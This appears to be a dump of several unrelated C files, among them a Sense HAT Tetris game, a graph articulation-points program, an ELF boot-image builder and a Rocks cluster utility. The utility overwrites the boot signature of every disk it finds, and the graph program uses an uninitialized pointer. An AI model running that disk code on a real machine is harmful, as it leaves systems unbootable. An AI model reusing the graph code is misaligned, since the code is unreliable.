.uSecTickTime = 10000,
.rowsPerLevel = 2,
.initNextGameTick = 50,
};
sense_hat_t SENSE_HAT;
// A table of RGB565 values to use for the tiles
fb_pixel_t tile_color_table[] = {0xF800, 0xFBE0, 0xFFE0, 0x7E0,
0x7FF, 0x1F, 0xF81F};
// Macro for calculating the size of the color table
#define TILE_COLOR_TABLE_SIZE (sizeof(tile_color_table) / sizeof(fb_pixel_t))
// A wrapping index into the color table
unsigned long tile_color_index = 0;
// Find and open the file for the joystick input
int open_joystick() {
DIR *input_dir = opendir("/dev/input");
struct dirent *entry;
// Walk through all input devices
while ((entry = readdir(input_dir))) {
// Open the input device
int fd = openat(dirfd(input_dir), entry->d_name, O_RDONLY);
// Continue if the device could not be opened
if (fd < 0) {
continue;
}
// Check if the device is the Sense HAT joystick, in that case return
// the file descriptor
char name[32];
if (ioctl(fd, EVIOCGNAME(sizeof(name)), name) >= 0) {
if (strncmp(name, "Raspberry Pi Sense HAT Joystick", 31) == 0) {
return fd;
}
}
// Close the input before the next iteration
close(fd);
}
return -1;
}
// Filter function that accepts entries that begin with "/dev/fb"
int frame_buffer_dir_filter(const struct dirent *e) {
return strcmp(e->d_name, "/dev/fb") >= 0;
}
// Find and open the LED frame buffer
int open_frame_buffer() {
// Walk the /dev directory using the filter function above, and sorting by
// name
int dev_dir = open("/dev", O_RDONLY);
struct dirent **namelist;
int n = scandirat(dev_dir, ".", &namelist, &frame_buffer_dir_filter,
&alphasort);
// This should never happen, but return -1 if /dev is empty
if (n == -1) {
return -1;
}
// Loop through the filtered entries in /dev and find the LED frame buffer
int fd;
while (n--) {
// Open a frame buffer
fd = openat(dev_dir, namelist[n]->d_name, O_RDWR);
// Continue if the frame buffer could not be opened
if (fd < 0) {
continue;
}
// Get the fixed screen info in order to check the identificaiton of the
// frame buffer, and check if it is the frame buffer we are looking for
struct fb_fix_screeninfo info;
if (ioctl(fd, FBIOGET_FSCREENINFO, &info) >= 0) {
if (strncmp(info.id, "RPi-Sense FB", 12) == 0) {
break;
}
}
// Close the frame buffer before the next iteration
close(fd);
}
// Remember to free up the namelist allocated by scandir
free(namelist);
return fd;
}
// This function is called on the start of your application
// Here you can initialize what ever you need for your task
// return false if something fails, else true
bool initializeSenseHat() {
int joy_fd = open_joystick();
if (joy_fd < 0) {
fprintf(stderr, "could not find the joystick\n");
return false;
}
SENSE_HAT.joy_fd = joy_fd;
int fb_fd = open_frame_buffer();
if (fb_fd < 0) {
fprintf(stderr, "could not find the LED frame buffer\n");
return false;
}
SENSE_HAT.fb_fd = fb_fd;
if (ioctl(SENSE_HAT.fb_fd, FBIOGET_FSCREENINFO, &SENSE_HAT.fb_fix_info) <
0) {
fprintf(stderr, "could not get frame buffer fixed screen info\n");
return false;
}
if (ioctl(SENSE_HAT.fb_fd, FBIOGET_VSCREENINFO, &SENSE_HAT.fb_var_info) <
0) {
fprintf(stderr, "could not get frame buffer variable screen info\n");
return false;
}
if (SENSE_HAT.fb_var_info.bits_per_pixel != 16) {
fprintf(stderr, "frame buffer has invalid bits per pixel\n");
return false;
}
// Memory map the LED frame buffer with read, write, and shared access
SENSE_HAT.led_fb =
mmap(0, SENSE_HAT.fb_fix_info.smem_len, PROT_READ | PROT_WRITE,
MAP_SHARED, SENSE_HAT.fb_fd, 0);
return true;
}
// This function is called when the application exits
// Here you can free up everything that you might have opened/allocated
void freeSenseHat() {
munmap(SENSE_HAT.led_fb, SENSE_HAT.fb_fix_info.smem_len);
close(SENSE_HAT.joy_fd);
close(SENSE_HAT.fb_fd);
}
// This function should return the key that corresponds to the joystick press
// KEY_UP, KEY_DOWN, KEY_LEFT, KEY_RIGHT, with the respective direction
// and KEY_ENTER, when the the joystick is pressed
// !!! when nothing was pressed you MUST return 0 !!!
int readSenseHatJoystick() {
// Poll the joystick input, and check for available events
struct pollfd fds = {.fd = SENSE_HAT.joy_fd, .events = POLLIN};
int ev_len = poll(&fds, 1, 0);
// Check for poll errors
int key = 0;
if (ev_len < 0) {
fprintf(stderr, "joystick poll returned an error");
} else if (ev_len == 0) {
return key;
}
// Read ev_len input events from the joystick
struct input_event events[ev_len];
read(SENSE_HAT.joy_fd, events,
sizeof(struct input_event) * (unsigned int)ev_len);
// Check all events for key presses (not key release)
for (int i = 0; i < ev_len; i++) {
struct input_event ev = events[i];
if (ev.type == EV_KEY && ev.value == 1) {
key = ev.code;
}
}
return key;
}
// This function should render the gamefield on the LED matrix. It is called
// every game tick. The parameter playfieldChanged signals whether the game
// logic has changed the playfield
void renderSenseHatMatrix(bool const playfieldChanged) {
// No need to update the LEDs if nothing has changed
if (!playfieldChanged) {
return;
}
// Loop through all tiles and update the corresponding pixel in the frame
// buffer
for (unsigned long j = 0; j < game.grid.y; j++) {
for (unsigned long i = 0; i < game.grid.x; i++) {
// The frame buffer stores the pixels in a packed format, i.e. a
// flat array
SENSE_HAT.led_fb[(j * game.grid.y) + i] =
game.playfield[j][i].color;
}
}
}
// The game logic uses only the following functions to interact with the
// playfield. if you choose to change the playfield or the tile structure, you
// might need to adjust this game logic <> playfield interface
static inline void newTile(coord const target) {
game.playfield[target.y][target.x].occupied = true;
// Set the new tile's color to be one of the colors in the table
game.playfield[target.y][target.x].color =
tile_color_table[tile_color_index];
// Update the color table index and make sure to wrap around if it exceeds
// the length of the table
tile_color_index = (tile_color_index + 1) % TILE_COLOR_TABLE_SIZE;
}
static inline void copyTile(coord const to, coord const from) {
memcpy((void *)&game.playfield[to.y][to.x],
(void *)&game.playfield[from.y][from.x], sizeof(tile));
}
static inline void copyRow(unsigned int const to, unsigned int const from) {
memcpy((void *)&game.playfield[to][0], (void *)&game.playfield[from][0],
sizeof(tile) * game.grid.x);
}
static inline void resetTile(coord const target) {
memset((void *)&game.playfield[target.y][target.x], 0, sizeof(tile));
}
static inline void resetRow(unsigned int const target) {
memset((void *)&game.playfield[target][0], 0, sizeof(tile) * game.grid.x);
}
static inline bool tileOccupied(coord const target) {
return game.playfield[target.y][target.x].occupied;
}
static inline bool rowOccupied(unsigned int const target) {
for (unsigned int x = 0; x < game.grid.x; x++) {
coord const checkTile = {x, target};
if (!tileOccupied(checkTile)) {
return false;
}
}
return true;
}
static inline void resetPlayfield() {
for (unsigned int y = 0; y < game.grid.y; y++) {
resetRow(y);
}
}
// Below here comes the game logic. Keep in mind: You are not allowed to change
// how the game works! that means no changes are necessary below this line! And
// if you choose to change something keep it compatible with what was provided
// to you!
bool addNewTile() {
game.activeTile.y = 0;
game.activeTile.x = (game.grid.x - 1) / 2;
if (tileOccupied(game.activeTile))
return false;
newTile(game.activeTile);
return true;
}
bool moveRight() {
coord const newTile = {game.activeTile.x + 1, game.activeTile.y};
if (game.activeTile.x < (game.grid.x - 1) && !tileOccupied(newTile)) {
copyTile(newTile, game.activeTile);
resetTile(game.activeTile);
game.activeTile = newTile;
return true;
}
return false;
}
bool moveLeft() {
coord const newTile = {game.activeTile.x - 1, game.activeTile.y};
if (game.activeTile.x > 0 && !tileOccupied(newTile)) {
copyTile(newTile, game.activeTile);
resetTile(game.activeTile);
game.activeTile = newTile;
return true;
}
return false;
}
bool moveDown() {
coord const newTile = {game.activeTile.x, game.activeTile.y + 1};
if (game.activeTile.y < (game.grid.y - 1) && !tileOccupied(newTile)) {
copyTile(newTile, game.activeTile);
resetTile(game.activeTile);
game.activeTile = newTile;
return true;
}
return false;
}
bool clearRow() {
if (rowOccupied(game.grid.y - 1)) {
for (unsigned int y = game.grid.y - 1; y > 0; y--) {
copyRow(y, y - 1);
}
resetRow(0);
return true;
}
return false;
}
void advanceLevel() {
game.level++;
// Rewritten to fix errors about GNU case range extension when using clang
if (game.nextGameTick >= 2 && game.nextGameTick <= 10)
game.nextGameTick--;
else if (game.nextGameTick >= 11 && game.nextGameTick <= 20)
game.nextGameTick -= 2;
else if (game.nextGameTick == 0 || game.nextGameTick > 20)
game.nextGameTick -= 10;
}
void newGame() {
game.state = ACTIVE;
game.tiles = 0;
game.rows = 0;
game.score = 0;
game.tick = 0;
game.level = 0;
resetPlayfield();
}
void gameOver() {
game.state = GAMEOVER;
game.nextGameTick = game.initNextGameTick;
}
bool sTetris(int const key) {
bool playfieldChanged = false;
if (game.state & ACTIVE) {
// Move the current tile
if (key) {
playfieldChanged = true;
switch (key) {
case KEY_LEFT:
moveLeft();
break;
case KEY_RIGHT:
moveRight();
break;
case KEY_DOWN:
while (moveDown()) {
};
game.tick = 0;
break;
default:
playfieldChanged = false;
}
}
// If we have reached a tick to update the game
if (game.tick == 0) {
// We communicate the row clear and tile add over the game state
// clear these bits if they were set before
game.state &= (unsigned int)~(ROW_CLEAR | TILE_ADDED);
playfieldChanged = true;
// Clear row if possible
if (clearRow()) {
game.state |= ROW_CLEAR;
game.rows++;
game.score += game.level + 1;
if ((game.rows % game.rowsPerLevel) == 0) {
advanceLevel();
}
}
// if there is no current tile or we cannot move it down,
// add a new one. If not possible, game over.
if (!tileOccupied(game.activeTile) || !moveDown()) {
if (addNewTile()) {
game.state |= TILE_ADDED;
game.tiles++;
} else {
gameOver();
}
}
}
}
// Press any key to start a new game
if ((game.state == GAMEOVER) && key) {
playfieldChanged = true;
newGame();
addNewTile();
game.state |= TILE_ADDED;
game.tiles++;
}
return playfieldChanged;
}
int readKeyboard() {
struct pollfd pollStdin = {.fd = STDIN_FILENO, .events = POLLIN};
int lkey = 0;
if (poll(&pollStdin, 1, 0)) {
lkey = fgetc(stdin);
if (lkey != 27)
goto exit;
lkey = fgetc(stdin);
if (lkey != 91)
goto exit;
lkey = fgetc(stdin);
}
exit:
switch (lkey) {
case 10:
return KEY_ENTER;
case 65:
return KEY_UP;
case 66:
return KEY_DOWN;
case 67:
return KEY_RIGHT;
case 68:
return KEY_LEFT;
}
return 0;
}
void renderConsole(bool const playfieldChanged) {
if (!playfieldChanged)
return;
// Goto beginning of console
fprintf(stdout, "\033[%d;%dH", 0, 0);
for (unsigned int x = 0; x < game.grid.x + 2; x++) {
fprintf(stdout, "-");
}
fprintf(stdout, "\n");
for (unsigned int y = 0; y < game.grid.y; y++) {
fprintf(stdout, "|");
for (unsigned int x = 0; x < game.grid.x; x++) {
coord const checkTile = {x, y};
fprintf(stdout, "%c", (tileOccupied(checkTile)) ? '#' : ' ');
}
switch (y) {
case 0:
fprintf(stdout, "| Tiles: %10u\n", game.tiles);
break;
case 1:
fprintf(stdout, "| Rows: %10u\n", game.rows);
break;
case 2:
fprintf(stdout, "| Score: %10u\n", game.score);
break;
case 4:
fprintf(stdout, "| Level: %10u\n", game.level);
break;
case 7:
fprintf(stdout, "| %17s\n",
(game.state == GAMEOVER) ? "Game Over" : "");
break;
default:
fprintf(stdout, "|\n");
}
}
for (unsigned int x = 0; x < game.grid.x + 2; x++) {
fprintf(stdout, "-");
}
fflush(stdout);
}
inline unsigned long uSecFromTimespec(struct timespec const ts) {
return (unsigned long)((ts.tv_sec * 1000000) + (ts.tv_nsec / 1000));
}
int main(int argc, char **argv) {
(void)argc;
(void)argv;
// This sets the stdin in a special state where each
// keyboard press is directly flushed to the stdin and additionally
// not outputted to the stdout
{
struct termios ttystate;
tcgetattr(STDIN_FILENO, &ttystate);
ttystate.c_lflag &= (tcflag_t) ~(ICANON | ECHO);
ttystate.c_cc[VMIN] = 1;
tcsetattr(STDIN_FILENO, TCSANOW, &ttystate);
}
// Allocate the playing field structure
game.rawPlayfield =
(tile *)malloc(game.grid.x * game.grid.y * sizeof(tile));
game.playfield = (tile **)malloc(game.grid.y * sizeof(tile *));
if (!game.playfield || !game.rawPlayfield) {
fprintf(stderr, "ERROR: could not allocate playfield\n");
return 1;
}
for (unsigned int y = 0; y < game.grid.y; y++) {
game.playfield[y] = &(game.rawPlayfield[y * game.grid.x]);
}
// Reset playfield to make it empty
resetPlayfield();
// Start with gameOver
gameOver();
if (!initializeSenseHat()) {
fprintf(stderr, "ERROR: could not initilize sense hat\n");
return 1;
};
// Clear console, render first time
fprintf(stdout, "\033[H\033[J");
renderConsole(true);
renderSenseHatMatrix(true);
while (true) {
struct timeval sTv, eTv;
gettimeofday(&sTv, NULL);
int key = readSenseHatJoystick();
if (!key)
key = readKeyboard();
if (key == KEY_ENTER)
break;
bool playfieldChanged = sTetris(key);
renderConsole(playfieldChanged);
renderSenseHatMatrix(playfieldChanged);
// Wait for next tick
gettimeofday(&eTv, NULL);
unsigned long const uSecProcessTime =
(unsigned long)(((eTv.tv_sec * 1000000) + eTv.tv_usec) -
((sTv.tv_sec * 1000000 + sTv.tv_usec)));
if (uSecProcessTime < game.uSecTickTime) {
usleep(game.uSecTickTime - uSecProcessTime);
}
game.tick = (game.tick + 1) % game.nextGameTick;
}
freeSenseHat();
free(game.playfield);
free(game.rawPlayfield);
return 0;
}
|
the_stack_data/32553.c
|
#include <stdio.h>
void scilab_rt_grayplot_i2i2i2s0i2_(int in00, int in01, int matrixin0[in00][in01],
int in10, int in11, int matrixin1[in10][in11],
int in20, int in21, int matrixin2[in20][in21],
char* scalarin0,
int in30, int in31, int matrixin3[in30][in31])
{
int i;
int j;
int val0 = 0;
int val1 = 0;
int val2 = 0;
int val3 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%d", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%d", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%d", val2);
printf("%s", scalarin0);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%d", val3);
}
|
the_stack_data/153928.c
|
/*
* $Id$
*
* @rocks@
* Copyright (c) 2000 - 2010 The Regents of the University of California
* All rights reserved. Rocks(r) v5.4 www.rocksclusters.org
* https://github.com/Teradata/stacki/blob/master/LICENSE-ROCKS.txt
* @rocks@
*
* $Log$
* Revision 1.11 2010/09/07 23:53:05 bruno
* star power for gb
*
* Revision 1.10 2009/05/01 19:07:05 mjk
* chimi con queso
*
* Revision 1.9 2008/10/18 00:55:59 mjk
* copyright 5.1
*
* Revision 1.8 2008/03/06 23:41:41 mjk
* copyright storm on
*
* Revision 1.7 2007/06/23 04:03:22 mjk
* mars hill copyright
*
* Revision 1.6 2006/09/11 22:47:09 mjk
* monkey face copyright
*
* Revision 1.5 2006/08/10 00:09:31 mjk
* 4.2 copyright
*
* Revision 1.4 2005/10/12 18:08:38 mjk
* final copyright for 4.1
*
* Revision 1.3 2005/09/16 01:02:18 mjk
* updated copyright
*
* Revision 1.2 2005/05/24 21:21:53 mjk
* update copyright, release is not any closer
*
* Revision 1.1 2005/03/01 02:02:47 mjk
* moved from core to base
*
* Revision 1.2 2005/02/14 21:56:45 bruno
* check to see if device node file exists. if it does, remove it first then
* try to create it
*
* Revision 1.1 2004/09/03 23:21:19 bruno
* new
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <getopt.h>
#include <linux/fs.h>
#include <fcntl.h>
#include <sys/stat.h>
/*
* make sure all disks are unbootable
*/
static void
unbootable(char *device, int major, int minor)
{
mode_t mode;
struct stat statbuf;
int fd;
char devicepath[128];
char buf[2];
sprintf(devicepath, "/tmp/stack-%s", device);
if (stat(devicepath, &statbuf) == 0) {
/*
* the device name file exists, let's remove it before
* the call to mknod (mknod fails if the the device name
* already exists)
*/
unlink(devicepath);
}
mode = S_IFBLK | S_IRUSR | S_IWUSR;
if (mknod(devicepath, mode, makedev(major, minor)) < 0) {
perror("unbootable:mknod failed");
return;
}
if ((fd = open(devicepath, O_WRONLY)) < 0) {
perror("unbootable:open failed");
unlink(devicepath);
return;
}
lseek(fd, 510, SEEK_SET);
buf[0] = 0x00;
buf[1] = 0x00;
if (write(fd, buf, sizeof(buf)) < 0) {
perror("unbootable:write failed");
}
/*
* now tell the kernel to re-read the partition table
*/
if (ioctl(fd, BLKRRPART) != 0) {
perror("unbootable:ioctl failed");
}
close(fd);
unlink(devicepath);
return;
}
int
main()
{
unsigned int part_size;
int fd;
int major, minor, blocks;
int bytesread;
char done;
char *buf;
char *dev;
char *diskdevice;
char *line;
char *ptr;
part_size = 2048;
done = 0;
while (!done) {
if ((buf = (char *)malloc(part_size)) == NULL) {
perror("main:malloc failed");
return(-1);
}
if ((fd = open("/proc/partitions", O_RDONLY)) < 0) {
perror("main:open failed for /proc/partitions");
return(-1);
}
bytesread = read(fd, buf, part_size);
if (bytesread < 0) {
perror("main:read failed for /proc/partitions");
return(-1);
}
if (bytesread < part_size) {
done = 1;
} else {
free(buf);
part_size = part_size * 2;
}
close(fd);
}
diskdevice = NULL;
/*
* eat the first two lines
*
* there is a two line header on the output of
* /proc/partitions -- toss those lines, then do
* the work
*/
ptr = buf;
line = strsep(&ptr, "\n");
line = strsep(&ptr, "\n");
while ((line = strsep(&ptr, "\n")) != NULL) {
if (strcmp(line, "") != 0) {
major = atoi(strtok(line, " "));
minor = atoi(strtok(NULL, " "));
blocks = atoi(strtok(NULL, " "));
dev = strtok(NULL, " ");
if (diskdevice == NULL) {
diskdevice = strdup(dev);
unbootable(diskdevice, major, minor);
} else {
if (strncmp(dev, diskdevice,
strlen(diskdevice)) != 0) {
free(diskdevice);
diskdevice = strdup(dev);
unbootable(diskdevice, major, minor);
}
}
}
}
if (diskdevice != NULL) {
free(diskdevice);
}
free(buf);
return(0);
}
|
the_stack_data/12638821.c
|
#include <stdlib.h>
int g(int (***fpp)());
int f();
int main(void) {
int (**fpp)() = malloc(sizeof(&f));
*fpp = &f;
int (***fppp)() = malloc(sizeof(&f));
*fppp = fpp;
int x = g(fppp);
return x;
}
int g(int (***fpp)()) {
return (***fpp)();
}
int f() {
return 42;
}
|
the_stack_data/254583.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
static inline int min(int x, int y)
{
return x < y ? x : y;
}
typedef struct
{
int V;
int E;
int **adj;
} graph;
void initialize_graph(graph *g, int V, int E)
{
g->V = V;
g->adj = (int **)malloc(sizeof(int *) * V);
for (int i = 0; i < V; i++) {
g->adj[i] = (int *)malloc(sizeof(int) * V);
memset(g->adj[i], -1, sizeof(int) * V);
}
}
void ap_utils(graph *g, int u, bool *visited, int *disc, int *low, int *parent, bool *ap)
{
static int time = 0;
int children = 0;
visited[u] = true;
disc[u] = low[u] = ++time;
int *i;
i = g->adj[u];
for (int index = 0; index < g->V; index++) {
int v = *(i + index);
if (v < 0)
continue;
if (!visited[v]) {
children++;
parent[v] = u;
ap_utils(g, v, visited, disc, low, parent, ap);
low[u] = min(low[u], low[v]);
if (parent[u] == -1 && children > 1)
ap[u] = true;
if (parent[u] != -1 && low[v] >= disc[u])
ap[u] = true;
}
else if (v != parent[u])
low[u] = min(low[u], disc[v]);
}
}
void articulation_points(graph *g)
{
bool visited[g->V], ap[g->V];
int disc[g->V], low[g->V], parent[g->V];
for (int i = 0; i < g->V; i++) {
parent[i] = -1;
visited[i] = false;
ap[i] = false;
}
for (int i = 0; i < g->V; i++)
if (visited[i] == false)
ap_utils(g, i, visited, disc, low, parent, ap);
bool no_ap = 1;
printf("\nThe Articulation Points in the graph are:\n");
for (int i = 0; i < g->V; i++) {
if (ap[i] == true) {
printf("%d ", i);
no_ap = 0;
}
}
if(no_ap)
printf("No articulation points.");
printf("\n");
}
int main(void)
{
graph *g;
int V, E;
scanf("%d %d", &V, &E);
initialize_graph(g, V, E);
for (int i = 0; i < E; i++) {
int x, y;
scanf("%d %d", &x, &y);
g->adj[x][y] = y;
g->adj[y][x] = x;
}
articulation_points(g);
for (int i = 0; i < V; i++)
free(g->adj[i]);
free(g->adj);
return 0;
}
|
the_stack_data/75137552.c
|
#include <stdio.h>
int main() {
printf("Hello, world!");
return 0;
}
|
the_stack_data/862069.c
|
/* Author(s): Gabriel Chiquetto (201719050309) & Leonardo Rocha (201719050465)
* Creates operating system image suitable for placement on a boot disk
*/
/* TODO: Comment on the status of your submission. 100% implemented. */
#include <assert.h>
#include <elf.h>
#include <errno.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define IMAGE_FILE "./build/image"
#define ARGS "[--extended] [--vm] <bootblock> <executable-file> ..."
#define SECTOR_SIZE 512 /* floppy sector size in bytes */
#define BOOTLOADER_SIG_OFFSET 0x1fe /* offset for boot loader signature */
#define WORD_SIZE 4 /* size of the word used in 32 Bit Architecture */
#define HALF_WORD_SIZE 2
#define BUFFER_SIZE 200 /* error buffer size in bytes */
#define BOOTBLOCK_IMAGE_OFFSET 0
#define KERNEL_IMAGE_OFFSET SECTOR_SIZE
#define BOOTLOADER_KERNEL_SECTORS_OFFSET 2
#define TRUE 1
#define FALSE 0
#define bootblock_arg(ARGC) ((ARGC) - 2) /* Function-like Macro to calculate bootblock filename index in argv */
#define kernel_arg(ARGC) ((ARGC) - 1) /* Function-like Macro to calculate kernel filename index in argv */
char error_buffer[BUFFER_SIZE];
int architecture_bit_width = 4; /* 4 bytes = 32 Bit Architecture */
/*
* Function: handle_file_open
* --------------------
* Tries to open the given file and handle errors
*
* file_stream: pointer to assign the file_stream if the file has been opened
* file_name: path for the file to be open
* mode: file open mode (e.g. - r, w, rb...)
*
* returns: zero if the file was opened succesfully
* returns -1 on error
*/
int handle_file_open(FILE **file_stream, const char* mode, const char *file_name)
{
if(file_stream != NULL)
{
*file_stream = fopen(file_name, mode);
if (*file_stream == NULL)
{
snprintf(error_buffer, BUFFER_SIZE, "Could not open file \"%s\"", file_name);
perror(error_buffer);
return -1;
}
}
return 0;
}
/*
* Function: debug_elf
* --------------------
* Prints the elf and all program headers for debug purposes
*
* ehdr_pointer: elf header
* phdr_pointer: program header
*/
void debug_elf(Elf32_Ehdr *ehdr_pointer, Elf32_Phdr *phdr_pointer)
{
char ehdr_fields[13][20] = {"e_type", "e_machine", "e_version", "e_entry","e_phoff", "e_shoff",
"e_flags", "e_ehsize", "e_phentsz", "e_phnum", "e_shentsz",
"e_shnum", "e_shstrndx"};
char phdr_fields[9][20] = {"entry_num","p_type", "p_offset", "p_vaddr", "p_paddr","p_filesz", "p_memsz",
"p_flags", "p_align"};
printf("Magic Number: ");
for (int i = 0; i < 16; i++)
{
printf("\'%02x\' ", ehdr_pointer->e_ident[i]);
}
printf("\n-------------------------------------------------------------------"
"-------------------------------------------------------------------"
"-----------------------------------\n");
for (int i = 0; i < 13; i++)
{
printf("%-12s", ehdr_fields[i]);
}
printf("\n");
printf("%-12.08x", ehdr_pointer->e_type);
printf("%-12.08x", ehdr_pointer->e_machine);
printf("%-12.08x", ehdr_pointer->e_version);
printf("%-12.08x", ehdr_pointer->e_entry);
printf("%-12.08x", ehdr_pointer->e_phoff);
printf("%-12.08x", ehdr_pointer->e_shoff);
printf("%-12.08x", ehdr_pointer->e_flags);
printf("%-12.08x", ehdr_pointer->e_ehsize);
printf("%-12.08x", ehdr_pointer->e_phentsize);
printf("%-12.08x", ehdr_pointer->e_phnum);
printf("%-12.08x", ehdr_pointer->e_shentsize);
printf("%-12.08x", ehdr_pointer->e_shnum);
printf("%-12.08x", ehdr_pointer->e_shstrndx);
printf("\n");
printf("\n");
for (int i = 0; i < 9; i++)
{
printf("%-12s", phdr_fields[i]);
}
printf("\n");
for (uint16_t i = 0; i < ehdr_pointer->e_phnum; i++) // loop through program header sections
{
printf("%-12d", i);
printf("%-12.08x", phdr_pointer[i].p_type);
printf("%-12.08x", phdr_pointer[i].p_offset);
printf("%-12.08x", phdr_pointer[i].p_vaddr);
printf("%-12.08x", phdr_pointer[i].p_paddr);
printf("%-12.08x", phdr_pointer[i].p_filesz);
printf("%-12.08x", phdr_pointer[i].p_memsz);
printf("%-12.08x", phdr_pointer[i].p_flags);
printf("%-12.08x", phdr_pointer[i].p_align);
printf("\n");
}
printf("\n");
}
/*
* Function: read_elf_header
* --------------------
* Reads the contents of the elf header and store them.
*
* ehdr_pointer: elf header
* execfile: executable file stream to be read
*/
void read_elf_header(Elf32_Ehdr *ehdr_pointer, FILE *execfile)
{
fread(&(ehdr_pointer->e_type), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_machine), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_version), WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_entry), architecture_bit_width, 1, execfile);
fread(&(ehdr_pointer->e_phoff), architecture_bit_width, 1, execfile);
fread(&(ehdr_pointer->e_shoff), architecture_bit_width, 1, execfile);
fread(&(ehdr_pointer->e_flags), WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_ehsize), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_phentsize), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_phnum), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_shentsize), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_shnum), HALF_WORD_SIZE, 1, execfile);
fread(&(ehdr_pointer->e_shstrndx), HALF_WORD_SIZE, 1, execfile);
}
/*
* Function: read_program_header
* --------------------
* Reads the contents of a program header and store it.
*
* phdr_pointer: program header
* execfile: executable file stream to be read
*/
void read_program_header(Elf32_Phdr *phdr_pointer, FILE *execfile)
{
fread(&(phdr_pointer->p_type), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_offset), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_vaddr), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_paddr), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_filesz), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_memsz), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_flags), WORD_SIZE, 1, execfile);
fread(&(phdr_pointer->p_align), WORD_SIZE, 1, execfile);
}
/*
* Function: read_section_header
* --------------------
* Reads the contents of a section header and store it.
*
* shdr_pointer: section header
* execfile: executable file stream to be read
*/
void read_section_header(Elf32_Shdr *shdr_pointer, FILE *execfile)
{
fread(&(shdr_pointer->sh_name), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_type), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_flags), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_addr), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_offset), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_size), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_link), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_info), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_addralign), WORD_SIZE, 1, execfile);
fread(&(shdr_pointer->sh_entsize), WORD_SIZE, 1, execfile);
}
/*
* Function: check_e_Ident
* --------------------
* Checks the magic number to verify if it's an ELF file
*
* e_Ident: first bytes in an ELF header
*
* returns: zero if checked succesfully
* returns -1 on error (if the file isn't in proper ELF encoding)
*/
int check_e_Ident(unsigned char *e_Ident)
{
if (e_Ident[0] == 0x7f && e_Ident[1] == 'E' && e_Ident[2] == 'L' && e_Ident[3] == 'F')
{
if (e_Ident[4] == ELFCLASS64)
architecture_bit_width = 64;
return 0;
}
else
return -1;
}
/*
* Function: read_program_entries
* --------------------
* Read all entries of the program headers and store them.
*
* phdr: program header
* _phnum: program headers number
* ph_offset: program header offset
* entry_size: size of each entry
* execfile: executable file stream to be read
*/
void read_program_entries(Elf32_Phdr *phdr, uint16_t _phnum, uint32_t ph_offset, uint16_t entry_size, FILE *execfile)
{
for (uint16_t i = 0; i < _phnum; i++)
{
// Offsets to the program header entry in the execfile
fseek(execfile, ph_offset + i*entry_size, SEEK_SET);
read_program_header(&(phdr[i]), execfile);
}
}
/*
* Function: read_exec_file
* --------------------
* Reads in an executable file in ELF format
*
* execfile: executable file stream to be read
* file_name: path for the file to be open
* ehdr: ELF Header reference to be stored
*
* returns: Program Header if the file was opened succesfully
* returns NULL if the file couldn't be open or wasn't in ELF format
*/
Elf32_Phdr *read_exec_file(FILE **execfile, char *filename, Elf32_Ehdr **ehdr)
{
Elf32_Phdr *program_table_header;
Elf32_Ehdr *ehdr_pointer; /* variables to enhance */
FILE *execfile_pointer; /* code readability */
uint16_t num_program_entries;
handle_file_open(execfile, "rb", filename);
if (execfile != NULL && *execfile != NULL)
{
ehdr_pointer = *ehdr;
execfile_pointer = *execfile;
fread(ehdr_pointer->e_ident, sizeof(char), EI_NIDENT, *execfile);
if (check_e_Ident(ehdr_pointer->e_ident) != -1)
{
//Read each term in the ELF Header
read_elf_header(ehdr_pointer, execfile_pointer);
num_program_entries = (uint16_t) ehdr_pointer->e_phnum;
program_table_header = (Elf32_Phdr *) malloc(num_program_entries * sizeof(Elf32_Phdr));
read_program_entries(program_table_header, num_program_entries, ehdr_pointer->e_phoff,
ehdr_pointer->e_phentsize, execfile_pointer);
return program_table_header;
}
else
{
fprintf(stderr, "File isn't in proper ELF format: \"%s\" \n", filename);
return NULL;
}
}
else
{
snprintf(error_buffer, BUFFER_SIZE, "Could not open file \"%s\"", filename);
perror(error_buffer);
return NULL;
}
}
/*
* Function: read_entry
* --------------------
* Reads a section or segment of the given header
*
* execfile: executable file stream
* buffer: the buffer with the read content
* offset: offset to the entry location in the file
* entry_size : size of the entry that will be read
*/
void read_entry(FILE *execfile, unsigned char **buffer, uint32_t offset, uint32_t entry_size)
{
*buffer = (unsigned char *) calloc(entry_size, sizeof(unsigned char));
// Offsets the file cursor from the Header table to the given entry
fseek(execfile, offset, SEEK_SET);
fread(*buffer, 1, entry_size, execfile);
}
/*
* Function: read_sections
* --------------------
* Loop through all sections; Read each Header and section content
*
